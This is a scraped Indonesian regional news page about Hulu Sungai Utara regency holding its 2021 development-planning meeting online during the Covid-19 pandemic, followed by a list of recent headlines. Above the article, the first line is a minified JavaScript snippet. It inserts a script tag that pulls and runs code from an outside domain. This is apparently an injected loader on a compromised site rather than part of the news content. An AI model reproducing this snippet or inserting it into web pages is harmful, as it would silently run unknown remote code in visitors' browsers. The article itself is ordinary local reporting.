(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pandemi Covid-19, Pemkab HSU Gelar Musrenbang Secara Online


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) tetap melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Kerja Pemerintah Daerah (RKPD) Tahun 2021, meskipun secara terbatas. Langkah ini dilakukan di tengah pandemi Covid-19.

Musrenbang yang bertempat di Mess Nagara Dipa, Selasa (21/4/2020) kali ini juga dilaksanakan secara Live melalui Media Elektronik Televisi Daerah Amuntai TV dan Media Digital Streaming Youtube di Dinas Kominfo Hulu Sungai Utara.

Bupati Hulu Sungai Utara H. Abdul Wahid HK saat membuka acara Musrenbang RKPD tahun 2021 tingkat Kabupaten HSU mengaku, Musrenbang ini untuk memenuhi ketentuan peraturan perundang – undangan. Meskipun kegiatan tahun ini berbeda dari tahun sebelumnya yang bisa melibatkan orang banyak untuk hadir.

“Secara fisik yang hadir mungkin terbatas seperti Wakil Bupati HSU, Ketua DPRD HSU beserta Wakil Ketua DPRD, Sekretaris Daerah, Ketua TP PKK, Kepala SKPD terkait dan perwakilan kelompok kemasyarakatan” kata Bupati Wahid.

Meskipun yang hadir Musrenbang tahun ini sangat terbatas, Pemkab tetap berupaya menyiarkan secara Live agar tiap SKPD di HSU dan masyarakat bisa tetap melihat di rumah. “Dengan harapan nantinya akan memberikan respon positif terhadap apa yang menjadi keinginan kita di tahun 2021 nanti,” imbuhnya.

Sementara itu Plt Kepala Bappelitbang HSU Hj Inna Wahyudiaty menyebut Musrenbang kali ini berbeda karena adanya Corona yang semakin luas. Hingga tidak memungkinkan untuk mengadakan kegiatan Musrenbang seperti sebelumnya. “Akibat dari adanya wabah covid – 19 ini mengharuskan Pemerintah Daerah dan kita semua untuk menyesuaikan pelaksanaan dan penyelenggaraan pemerintahan termasuk kegiatan Musrenbang ini,” kata Inna.

Atas dasar kebijakan pemerintah terhadapa adanya wabah covid – 19 inilah maka semua juga diminta melaksanakan Musrenbang secara terbatas dengan membatasi waktu dan peserta. “Tahun ini pelaksanaan musrenbang diadakan secara bertahap dengan didahului dengan sidang kelompok secara terbatas yang telah diadakan tanggal 14 April sampai 16 April yang lalu,” terangnya.

Agenda Musrenbang RKPD 2021 diawali laporan pelaksanaan Musrenbang RKPD, penyampaian proyeksi keuangan daerah tahun 2021, arahan kebijakan pembangunan Provinsi Kalsel, penyampaian hasil sidang kelompok dan penandatanganan berita acara hasil Musrenbang RKPD tahun 2021 (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

13 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

13 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

19 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.